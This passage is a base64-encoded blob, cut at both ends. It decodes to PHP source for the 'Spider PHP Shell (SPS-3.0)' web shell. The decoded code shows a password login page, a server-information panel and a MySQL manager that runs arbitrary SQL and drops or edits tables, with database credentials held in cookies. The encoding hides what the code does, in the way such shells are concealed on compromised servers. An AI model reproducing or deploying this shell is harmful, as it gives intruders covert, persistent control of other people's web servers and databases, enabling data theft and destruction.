gk8b3B0aW9uIHZhbHVlPSIyIj7QtMjrzsS8/jwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0iMyI+v6rG9M3iwaw8L29wdGlvbj4KPC9zZWxlY3Q+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLWtNDQIiBzdHlsZT0id2lkdGg6ODBweDsiPgpFTkQ7Cn0KCWlmKCRNU0dfQk9YICE9ICcnKSBlY2hvICc8L2Rpdj48ZGl2IGNsYXNzPSJhY3RhbGwiPicuJE1TR19CT1guJzwvZGl2PjwvY2VudGVyPjwvZm9ybT4nOwoJZWxzZSBlY2hvICc8L2Rpdj48L2NlbnRlcj48L2Zvcm0+JzsKCXJldHVybiB0cnVlOwp9CgovL01ZU1FMudzA7QoKZnVuY3Rpb24gTXlzcWxfTGVuKCRkYXRhLCRsZW4pCnsKCWlmKHN0cmxlbigkZGF0YSkgPCAkbGVuKSByZXR1cm4gJGRhdGE7CglyZXR1cm4gc3Vic3RyX3JlcGxhY2UoJGRhdGEsJy4uLicsJGxlbik7Cn0KCmZ1bmN0aW9uIE15c3FsX01zZygpCnsKCSRjb25uID0gQG15c3FsX2Nvbm5lY3QoJF9DT09LSUVbJ21fc3BpZGVyaG9zdCddLic6Jy4kX0NPT0tJRVsnbV9zcGlkZXJwb3J0J10sJF9DT09LSUVbJ21fc3BpZGVydXNlciddLCRfQ09PS0lFWydtX3NwaWRlcnBhc3MnXSk7CglpZigkY29ubikKCXsKcHJpbnQ8PDxFTkQKPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIERlbG9rKG1zZyxnb3VybCkKewoJc21zZyA9ICLIt7ao0qrJvrP9WyIgKyB1bmVzY2FwZShtc2cpICsgIl3C8D8iOwoJaWYoY29uZmlybShzbXNnKSl7d2luZG93LmxvY2F0aW9uID0gZ291cmw7fQp9CmZ1bmN0aW9uIENyZWF0ZW9rKGFjKQp7CglpZihhYyA9PSAnYScpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduc3FsJykudmFsdWUgPSAnQ1JFQVRFIFRBQkxFIG5hbWUgKHNwaWRlciBCTE9CKTsnOwoJaWYoYWMgPT0gJ2InKSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbnNxbCcpLnZhbHVlID0gJ0NSRUFURSBEQVRBQkFTRSBuYW1lOyc7CglpZihhYyA9PSAnYycpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduc3FsJykudmFsdWUgPSAnRFJPUCBEQVRBQkFTRSBuYW1lOyc7CglyZXR1cm4gZmFsc2U7Cn0KPC9zY3JpcHQ+CkVORDsKCQkkQk9PTCA9IGZhbHNlOwoJCSRNU0dfQk9YID0gJ9PDu6c6Jy4kX0NPT0tJRVsnbV9zcGlkZXJ1c2VyJ10uJyAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgtdjWtzonLiRfQ09PS0lFWydtX3NwaWRlcmhvc3QnXS4nOicuJF9DT09LSUVbJ21fc3BpZGVycG9ydCddLicgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7ILDmsb46JzsKCQkkayA9IDA7CgkJJHJlc3VsdCA9IEBteXNxbF9xdWVyeSgnc2VsZWN0IHZlcnNpb24oKTsnLCRjb25uKTsKCQl3aGlsZSgkcm93ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKXskTVNHX0JPWCAuPSAkcm93WyRrXTskaysrO30KCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPiDK/b7dv+I6JzsKCQkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgREFUQUJBU0VTIiwkY29ubik7CgkJd2hpbGUoJGRiID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpe2VjaG8gJyZuYnNwOyZuYnNwO1s8YSBocmVmPSI/cz1yJmRiPScuJGRiWydEYXRhYmFzZSddLiciPicuJGRiWydEYXRhYmFzZSddLic8L2E+XSc7fQoJCWVjaG8gJzwvZGl2Pic7CgkJaWYoaXNzZXQoJF9HRVRbJ2RiJ10pKQoJCXsKCQkJbXlzcWxfc2VsZWN0X2RiKCRfR0VUWydkYiddLCRjb25uKTsKCQkJaWYoIWVtcHR5KCRfUE9TVFsnbnNxbCddKSl7JEJPT0wgPSB0cnVlOyAkTVNHX0JPWCA9IG15c3FsX3F1ZXJ5KCRfUE9TVFsnbnNxbCddLCRjb25uKSA/ICfWtNDQs8m5picgOiAn1rTQ0MqnsNwgJy5teXNxbF9lcnJvcigpO30KCQkJaWYoaXNfYXJyYXkoJF9QT1NUWydpbnNxbCddKSkKCQkJewoJCQkJJHF1ZXJ5ID0gJ0lOU0VSVCBJTlRPICcuJF9HRVRbJ3RhYmxlJ10uJyAoJzsKCQkJCWZvcmVhY2goJF9QT1NUWydpbnNxbCddIGFzICR2YXIgPT4gJGtleSkKCQkJCXsKCQkJCQkkcXVlcnlhIC49ICR2YXIuJywnOwoJCQkJCSRxdWVyeWIgLj0gJ1wnJy5hZGRzbGFzaGVzKCRrZXkpLidcJywnOwoJCQkJfQoJCQkJJHF1ZXJ5ID0gJHF1ZXJ5LnN1YnN0cigkcXVlcnlhLCAwLCAtMSkuJykgVkFMVUVTICgnLnN1YnN0cigkcXVlcnliLCAwLCAtMSkuJyk7JzsKCQkJCSRNU0dfQk9YID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSA/ICfM7bzTs8m5picgOiAnzO2808qnsNwgJy5teXNxbF9lcnJvcigpOwoJCQl9CgkJCWlmKGlzX2FycmF5KCRfUE9TVFsndXBzcWwnXSkpCgkJCXsKCQkJCSRxdWVyeSA9ICdVUERBVEUgJy4kX0dFVFsndGFibGUnXS4nIFNFVCAnOwoJCQkJZm9yZWFjaCgkX1BPU1RbJ3Vwc3FsJ10gYXMgJHZhciA9PiAka2V5KQoJCQkJewoJCQkJCSRxdWVyeWIgLj0gJHZhci4nPVwnJy5hZGRzbGFzaGVzKCRrZXkpLidcJywnOwoJCQkJfQoJCQkJJHF1ZXJ5ID0gJHF1ZXJ5LnN1YnN0cigkcXVlcnliLCAwLCAtMSkuJyAnLmJhc2U2NF9kZWNvZGUoJF9QT1NUWyd3aGVyZXZhciddKS4nOyc7CgkJCQkkTVNHX0JPWCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubikgPyAn0N64xLPJuaYnIDogJ9DeuMTKp7DcICcubXlzcWxfZXJyb3IoKTsKCQkJfQoJCQlpZihpc3NldCgkX0dFVFsnZGVsJ10pKQoJCQl7CgkJCQkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kX0dFVFsndGFibGUnXS4nIExJTUlUICcuJF9HRVRbJ2RlbCddLicsIDE7JywkY29ubik7CgkJCQkkZ29vZCA9IG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpOwoJCQkJJHF1ZXJ5ID0gJ0RFTEVURSBGUk9NICcuJF9HRVRbJ3RhYmxlJ10uJyBXSEVSRSAnOwoJCQkJZm9yZWFjaCgkZ29vZCBhcyAkdmFyID0+ICRrZXkpeyRxdWVyeWMgLj0gJHZhci4nPVwnJy5hZGRzbGFzaGVzKCRrZXkpLidcJyBBTkQgJzt9CgkJCQkkd2hlcmUgPSAkcXVlcnkuc3Vic3RyKCRxdWVyeWMsIDAsIC00KS4nOyc7CgkJCQkkTVNHX0JPWCA9IG15c3FsX3F1ZXJ5KCR3aGVyZSwkY29ubikgPyAnyb6z/bPJuaYnIDogJ8m+s/3Kp7DcICcubXlzcWxfZXJyb3IoKTsKCQkJfQoJCQkkYWN0aW9uID0gJz9zPXImZGI9Jy4kX0dFVFsnZGInXTsKCQkJaWYoaXNzZXQoJF9HRVRbJ2Ryb3AnXSkpeyRxdWVyeSA9ICdEcm9wIFRBQkxFIElGIEVYSVNUUyAnLiRfR0VUWydkcm9wJ10uJzsnOyRNU0dfQk9YID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSA/ICfJvrP9s8m5picgOiAnyb6z/cqnsNwgJy5teXNxbF9lcnJvcigpO30KCQkJaWYoaXNzZXQoJF9HRVRbJ3RhYmxlJ10pKXskYWN0aW9uIC49ICcmdGFibGU9Jy4kX0dFVFsndGFibGUnXTtpZihpc3NldCgkX0dFVFsnZWRpdCddKSkgJGFjdGlvbiAuPSAnJmVkaXQ9Jy4kX0dFVFsnZWRpdCddO30KCQkJaWYoaXNzZXQoJF9HRVRbJ2luc2VydCddKSkgJGFjdGlvbiAuPSAnJmluc2VydD0nLiRfR0VUWydpbnNlcnQnXTsKCQkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj48Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJy4kYWN0aW9uLiciPic7CgkJCWVjaG8gJzx0ZXh0YXJlYSBuYW1lPSJuc3FsIiBpZD0ibnNxbCIgc3R5bGU9IndpZHRoOjUwMHB4O2hlaWdodDo1MHB4OyI+Jy4kX1BPU1RbJ25zcWwnXS4nPC90ZXh0YXJlYT4gJzsKCQkJZWNobyAnPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0icXVlcnlzcWwiIHZhbHVlPSLWtNDQIiBzdHlsZT0id2lkdGg6NjBweDtoZWlnaHQ6NDlweDsiPiAnOwoJCQllY2hvICc8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0itLS9qLHtIiBzdHlsZT0id2lkdGg6NjBweDtoZWlnaHQ6NDlweDsiIG9uY2xpY2s9IkNyZWF0ZW9rKFwnYVwnKSI+ICc7CgkJCWVjaG8gJzxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK0tL2ov+IiIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyIgb25jbGljaz0iQ3JlYXRlb2soXCdiXCcpIj4gJzsKCQkJZWNobyAnPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Ism+s/2/4iIgc3R5bGU9IndpZHRoOjYwcHg7aGVpZ2h0OjQ5cHg7IiBvbmNsaWNrPSJDcmVhdGVvayhcJ2NcJykiPjwvZm9ybT48L2Rpdj4nOwoJCQllY2hvICc8ZGl2IGNsYXNzPSJtc2dib3giIHN0eWxlPSJoZWlnaHQ6NDBweDsiPicuJE1TR19CT1guJzwvZGl2PjxkaXYgY2xhc3M9ImFjdGFsbCI+PGEgaHJlZj0iP3M9ciZkYj0nLiRfR0VUWydkYiddLiciPicuJF9HRVRbJ2RiJ10uJzwvYT4gLS0tPiAnOwoJCQlpZihpc3NldCgkX0dFVFsndGFibGUnXSkpCgkJCXsKCQkJCWVjaG8gJzxhIGhyZWY9Ij9zPXImZGI9Jy4kX0dFVFsnZGInXS4nJnRhYmxlPScuJF9HRVRbJ3RhYmxlJ10uJyI+Jy4kX0dFVFsndGFibGUnXS4nPC9hPiAnOwoJCQkJZWNobyAnWzxhIGhyZWY9Ij9zPXImZGI9Jy4kX0dFVFsnZGInXS4nJmluc2VydD0nLiRfR0VUWyd0YWJsZSddLiciPrLlyOs8L2E+XTwvZGl2Pic7CgkJCQlpZihpc3NldCgkX0dFVFsnZWRpdCddKSkKCQkJCXsKCQkJCQlpZihpc3NldCgkX0dFVFsncCddKSkgJGF0YWJsZSA9ICRfR0VUWyd0YWJsZSddLicmcD0nLiRfR0VUWydwJ107IGVsc2UgJGF0YWJsZSA9ICRfR0VUWyd0YWJsZSddOwoJCQkJCWVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/cz1yJmRiPScuJF9HRVRbJ2RiJ10uJyZ0YWJsZT0nLiRhdGFibGUuJyI+JzsKCQkJCQkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kX0dFVFsndGFibGUnXS4nIExJTUlUICcuJF9HRVRbJ2VkaXQnXS4nLCAxOycsJGNvbm4pOwoJCQkJCSRnb29kID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7CgkJCQkJJHUgPSAwOwoJCQkJCWZvcmVhY2goJGdvb2QgYXMgJHZhciA9PiAka2V5KQoJCQkJCXsKCQkJCQkJJHF1ZXJ5YyAuPSAkdmFyLic9XCcnLiRrZXkuJ1wnIEFORCAnOwoJCQkJCQkkdHlwZSA9IEBteXNxbF9maWVsZF90eXBlKCRyZXN1bHQsICR1KTsKCQkJCQkJJGxlbiA9IEBteXNxbF9maWVsZF9sZW4oJHJlc3VsdCwgJHUpOwoJCQkJCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPicuJHZhci4nIDxmb250IGNvbG9yPSIjRkYwMDAwIj4nLiR0eXBlLicoJy4kbGVuLicpPC9mb250Pjxicj48dGV4dGFyZWEgbmFtZT0idXBzcWxbJy4kdmFyLiddIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjYwcHg7Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJGtleSkuJzwvdGV4dGFyZWE+PC9kaXY+JzsKCQkJCQkJJHUrKzsKCQkJCQl9CgkJCQkJJHdoZXJlID0gJ1dIRVJFICcuc3Vic3RyKCRxdWVyeWMsIDAsIC00KTsKCQkJCQllY2hvICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0id2hlcmV2YXIiIG5hbWU9IndoZXJldmFyIiB2YWx1ZT0iJy5iYXNlNjRfZW5jb2RlKCR3aGVyZSkuJyI+JzsKCQkJCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGRhdGUiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+PC9mb3JtPic7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJJHF1ZXJ5ID0gJ1NIT1cgQ09MVU1OUyBGUk9NICcuJF9HRVRbJ3RhYmxlJ107CgkJICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubik7CgkJICAgICAgJGZpZWxkcyA9IGFycmF5KCk7CgkJICAgICAgJHJvd19udW0gPSBteXNxbF9udW1fcm93cyhteXNxbF9xdWVyeSgnU0VMRUNUICogRlJPTSAnLiRfR0VUWyd0YWJsZSddLCRjb25uKSk7CgkJICAgICAgaWYoIWlzc2V0KCRfR0VUWydwJ10pKXskcCA9IDA7JF9HRVRbJ3AnXSA9IDE7fSBlbHNlICRwID0gKChpbnQpJF9HRVRbJ3AnXS0xKSoyMDsKCQkJCQllY2hvICc8dGFibGUgYm9yZGVyPSIwIj48dHI+JzsKCQkJCQllY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6NzBweDsiIG5vd3JhcD6y2df3PC90ZD4nOwoJCQkJCXdoaWxlKCRyb3cgPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpCgkJCQkJewoJCQkJCQlhcnJheV9wdXNoKCRmaWVsZHMsJHJvd1snRmllbGQnXSk7CgkJCQkJCWVjaG8gJzx0ZCBjbGFzcz0idG9wdGQiIG5vd3JhcD4nLiRyb3dbJ0ZpZWxkJ10uJzwvdGQ+JzsKCQkJCQl9CgkJCQkJZWNobyAnPC90cj4nOwoJCQkJCWlmKGVyZWdpKCdXSEVSRXxMSU1JVCcsJF9QT1NUWyduc3FsJ10pICYmIGVyZWdpKCdTRUxFQ1R8RlJPTScsJF9QT1NUWyduc3FsJ10pKSAkcXVlcnkgPSAkX1BPU1RbJ25zcWwnXTsgZWxzZSAkcXVlcnkgPSAnU0VMRUNUICogRlJPTSAnLiRfR0VUWyd0YWJsZSddLicgTElNSVQgJy4kcC4nLCAyMDsnOwoJCQkJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pOwoJCQkJCSR2ID0gJHA7CgkJCQkJd2hpbGUoJHRleHQgPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpCgkJCQkJewoJCQkJCQllY2hvICc8dHI+PHRkPjxhIGhyZWY9Ij9zPXImZGI9Jy4kX0dFVFsnZGInXS4nJnRhYmxlPScuJF9HRVRbJ3RhYmxlJ10uJyZwPScuJF9HRVRbJ3AnXS4nJmVkaXQ9Jy4kdi4nIj4g0N64xCA8L2E+ICc7CgkJCQkJCWVjaG8gJzxhIGhyZWY9IiMiIG9uY2xpY2s9IkRlbG9rKFwny/xcJyxcJz9zPXImZGI9Jy4kX0dFVFsnZGInXS4nJnRhYmxlPScuJF9HRVRbJ3RhYmxlJ10uJyZwPScuJF9HRVRbJ3AnXS4nJmRlbD0nLiR2LidcJyk7cmV0dXJuIGZhbHNlOyI+IMm+s/0gPC9hPjwvdGQ+JzsKCQkJCQkJZm9yZWFjaCgkZmllbGRzIGFzICRyb3cpe2VjaG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoTXlzcWxfTGVuKCR0ZXh0WyRyb3ddLDUwMCkpKS4nPC90ZD4nO30KCQkJCQkJZWNobyAnPC90cj4nLiJcclxuIjskdisrOwoJCQkJCX0KCQkJCQllY2hvICc8L3RhYmxlPjxkaXYgY2xhc3M9ImFjdGFsbCI+JzsKCQkJCQlmb3IoJGkgPSAxOyRpIDw9IGNlaWwoJHJvd19udW0gLyAyMCk7JGkrKyl7JGsgPSAoKGludCkkX0dFVFsncCddID09ICRpKSA/ICc8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jy4kaS4nPC9mb250PicgOiAkaTtlY2hvICc8YSBocmVmPSI/cz1yJmRiPScuJF9HRVRbJ2RiJ10uJyZ0YWJsZT0nLiRfR0VUWyd0YWJsZSddLicmcD0nLiRpLiciPlsnLiRrLiddPC9hPiAnO30KCQkJCQllY2hvICc8L2Rpdj4nOwoJCQkJfQoJCQl9CgkJCWVsc2VpZihpc3NldCgkX0dFVFsnaW5zZXJ0J10pKQoJCQl7CgkJCQllY2hvICc8YSBocmVmPSI/cz1yJmRiPScuJF9HRVRbJ2RiJ10uJyZ0YWJsZT0nLiRfR0VUWydpbnNlcnQnXS4nIj4nLiRfR0VUWydpbnNlcnQnXS4nPC9hPjwvZGl2Pic7CgkJCQkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kX0dFVFsnaW5zZXJ0J10sJGNvbm4pOwoJCQkJJGZpZWxkbnVtID0gQG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7CgkJCQllY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iP3M9ciZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kX0dFVFsnaW5zZXJ0J10uJyI+JzsKCQkJCWZvcigkaSA9IDA7JGkgPCAkZmllbGRudW07JGkrKykKCQkJCXsKCQkJCQkkbmFtZSA9IEBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsICRpKTsKCQkJCQkkdHlwZSA9IEBteXNxbF9maWVsZF90eXBlKCRyZXN1bHQsICRpKTsKCQkJCQkkbGVuID0gQG15c3FsX2ZpZWxkX2xlbigkcmVzdWx0LCAkaSk7CgkJCQkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nLiRuYW1lLicgPGZvbnQgY29sb3I9IiNGRjAwMDAiPicuJHR5cGUuJygnLiRsZW4uJyk8L2ZvbnQ+PGJyPjx0ZXh0YXJlYSBuYW1lPSJpbnNxbFsnLiRuYW1lLiddIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjYwcHg7Ij48L3RleHRhcmVhPjwvZGl2Pic7CgkJCQl9CgkJCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJJbnNlcnQiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+PC9mb3JtPic7CgkJCX0KCQkJZWxzZQoJCQl7CgkJCQkkcXVlcnkgPSAnU0hPVyBUQUJMRSBTVEFUVVMnOwoJCQkJJHN0YXR1cyA9IEBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pOwoJCQkJd2hpbGUoJHN0YXR1ID0gQG15c3FsX2ZldGNoX2FycmF5KCRzdGF0dXMpKQoJCQkJewoJCQkJCSRzdGF0dXNpemVbXSA9ICRzdGF0dVsnRGF0YV9sZW5ndGgnXTsKCQkJCQkkc3RhdHVjb2xsW10gPSAkc3RhdHVbJ0NvbGxhdGlvbiddOwoJCQkJfQoJCQkJJHF1ZXJ5ID0gJ1NIT1cgVEFCTEVTIEZST00gJy4kX0dFVFsnZGInXS4nOyc7CgkJCQllY2hvICc8L2Rpdj48dGFibGUgYm9yZGVyPSIwIj48dHI+JzsKCQkJCWVjaG8gJzx0ZCBjbGFzcz0idG9wdGQiIHN0eWxlPSJ3aWR0aDo1NTBweDsiPiCx7cP7IDwvdGQ+JzsKCQkJCWVjaG8gJzx0ZCBjbGFzcz0idG9wdGQiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+ILLZ1/cgPC90ZD4nOwoJCQkJZWNobyAnPHRkIGNsYXNzPSJ0b3B0ZCIgc3R5bGU9IndpZHRoOjEzMHB4OyI+INfWt/u8ryA8L3RkPic7CgkJCQllY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6NzBweDsiPiC089ChIDwvdGQ+PC90cj4nOwoJCQkJJHJlc3VsdCA9IEBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pOwoJCQkJJGsgPSAwOwoJCQkJd2hpbGUoJHRhYmxlID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKQoJCQkJewoJCQkJCWVjaG8gJzx0cj48dGQ+PGEgaHJlZj0iP3M9ciZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kdGFibGVbMF0uJyI+Jy4kdGFibGVbMF0uJzwvYT48L3RkPic7CgkJCQkJZWNobyAnPHRkPjxhIGhyZWY9Ij9zPXImZGI9Jy4kX0dFVFsnZGInXS4nJmluc2VydD0nLiR0YWJsZVswXS4nIj4gsuXI6yA8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9IkRlbG9rKFwnJy4kdGFibGVbMF0uJ1wnLFwnP3M9ciZkYj0nLiRfR0VUWydkYiddLicmZHJvcD0nLiR0YWJsZVswXS4nXCcpO3JldHVybiBmYWxzZTsiPiDJvrP9IDwvYT48L3RkPic7CgkJCQkJZWNobyAnPHRkPicuJHN0YXR1Y29sbFska10uJzwvdGQ+PHRkIGFsaWduPSJyaWdodCI+Jy5GaWxlX1NpemUoJHN0YXR1c2l6ZVska10pLic8L3RkPjwvdHI+Jy4iXHJcbiI7CgkJCQkJJGsrKzsKCQkJCX0KCQkJCWVjaG8gJzwvdGFibGU+JzsKCQkJfQoJCX0KCX0KCWVsc2UgZGllKCfBrL3TTVlTUUzKp7DcLMfr1tjQwrXHwr0uPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDtVUkw9P3M9byI+Jyk7CglpZighJEJPT0wpIGVjaG8gJzxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5kb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ25zcWxcJykudmFsdWUgPSBcJycuYWRkc2xhc2hlcygkcXVlcnkpLidcJzs8L3NjcmlwdD4nOwoJcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBNeXNxbF9vKCkKewoJb2Jfc3RhcnQoKTsKICBpZihpc3NldCgkX1BPU1RbJ21ob3N0J10pICYmIGlzc2V0KCRfUE9TVFsnbXBvcnQnXSkgJiYgaXNzZXQoJF9QT1NUWydtdXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ21wYXNzJ10pKQogIHsKICAJaWYoQG15c3FsX2Nvbm5lY3QoJF9QT1NUWydtaG9zdCddLic6Jy4kX1BPU1RbJ21wb3J0J10sJF9QT1NUWydtdXNlciddLCRfUE9TVFsnbXBhc3MnXSkpCgkgIHsKCSAgCSRjb29raWV0aW1lID0gdGltZSgpICsgMjQgKiAzNjAwOwoJICAJc2V0Y29va2llKCdtX3NwaWRlcmhvc3QnLCRfUE9TVFsnbWhvc3QnXSwkY29va2lldGltZSk7CgkgIAlzZXRjb29raWUoJ21fc3BpZGVycG9ydCcsJF9QT1NUWydtcG9ydCddLCRjb29raWV0aW1lKTsKCSAgCXNldGNvb2tpZSgnbV9zcGlkZXJ1c2VyJywkX1BPU1RbJ211c2VyJ10sJGNvb2tpZXRpbWUpOwoJICAJc2V0Y29va2llKCdtX3NwaWRlcnBhc3MnLCRfUE9TVFsnbXBhc3MnXSwkY29va2lldGltZSk7CgkgIAlkaWUoJ9X91Nq1x8K9LMfrydS68i4uLjxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7VVJMPT9zPXIiPicpOwoJICB9CiAgfQpwcmludDw8PEVORAo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Im9mb3JtIiBpZD0ib2Zvcm0iIGFjdGlvbj0iP3M9byI+CjxkaXYgY2xhc3M9ImFjdGFsbCI+tdjWtyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIHN0eWxlPSJ3aWR0aDozMDBweCI+PC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+tsu/2iA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXBvcnQiIHZhbHVlPSIzMzA2IiBzdHlsZT0id2lkdGg6MzAwcHgiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPtPDu6cgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im11c2VyIiB2YWx1ZT0icm9vdCIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7D3MLrIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtcGFzcyIgdmFsdWU9IiIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0itcfCvSIgc3R5bGU9IndpZHRoOjgwcHg7Ij4gPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IkNPT0tJRSIgc3R5bGU9IndpZHRoOjgwcHg7IiBvbmNsaWNrPSJ3aW5kb3cubG9jYXRpb249Jz9zPXInOyI+PC9kaXY+CjwvZm9ybT4KRU5EOwoJb2JfZW5kX2ZsdXNoKCk7CglyZXR1cm4gdHJ1ZTsKfQoKZnVuY3Rpb24gUm9vdF9Mb2dpbigkTVNHX1RPUCkKewpwcmludDw8PEVORAo8aHRtbD4KCTxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kOiNBQUFBQUE7Ij4KCQk8Y2VudGVyPgoJCTxmb3JtIG1ldGhvZD0iUE9TVCI+CgkJPGRpdiBzdHlsZT0id2lkdGg6MzUxcHg7aGVpZ2h0OjIwMXB4O21hcmdpbi10b3A6MTAwcHg7YmFja2dyb3VuZDp0aHJlZWRmYWNlO2JvcmRlci1jb2xvcjojRkZGRkZGICM5OTk5OTkgIzk5OTk5OSAjRkZGRkZGO2JvcmRlci1zdHlsZTpzb2xpZDtib3JkZXItd2lkdGg6MXB4OyI+CgkJPGRpdiBzdHlsZT0id2lkdGg6MzUwcHg7aGVpZ2h0OjIycHg7cGFkZGluZy10b3A6MnB4O2NvbG9yOiNGRkZGRkY7YmFja2dyb3VuZDojMjkzRjVGO2NsZWFyOmJvdGg7Ij48Yj57JE1TR19UT1B9PC9iPjwvZGl2PgoJCTxkaXYgc3R5bGU9IndpZHRoOjM1MHB4O2hlaWdodDo4MHB4O21hcmdpbi10b3A6NTBweDtjb2xvcjojMDAwMDAwO2NsZWFyOmJvdGg7Ij5QQVNTOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0ic3BpZGVycGFzcyIgc3R5bGU9IndpZHRoOjI3MHB4OyI+PC9kaXY+CgkJPGRpdiBzdHlsZT0id2lkdGg6MzUwcHg7aGVpZ2h0OjMwcHg7Y2xlYXI6Ym90aDsiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMT0dJTiIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4KCQk8L2Rpdj4KCQk8L2Zvcm0+CgkJPC9jZW50ZXI+Cgk8L2JvZHk+CjwvaHRtbD4KRU5EOwoJcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBXaW5NYWluKCkKewoJJFNlcnZlcl9JUCA9IGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0pOwoJJFNlcnZlcl9PUyA9IFBIUF9PUzsKCSRTZXJ2ZXJfU29mdCA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsKCSRTZXJ2ZXJfQWxleGEgPSAnaHR0cDovL2NuLmFsZXhhLmNvbS9zaXRlaW5mby8nLnN0cl9yZXBsYWNlKCd3d3cuJywnJywkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSk7CnByaW50PDw8RU5ECjxodG1sPgoJPHRpdGxlPiBTcGlkZXIgUEhQIFNoZWxsIChTUFMtMy4wKSB3d3cueHNqeWlnZWNhb2RhbmRlZGFtYS5jb208L3RpdGxlPgoJPGhlYWQ+CgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KCQkJKntwYWRkaW5nOjA7IG1hcmdpbjowO30KCQkJYm9keXtiY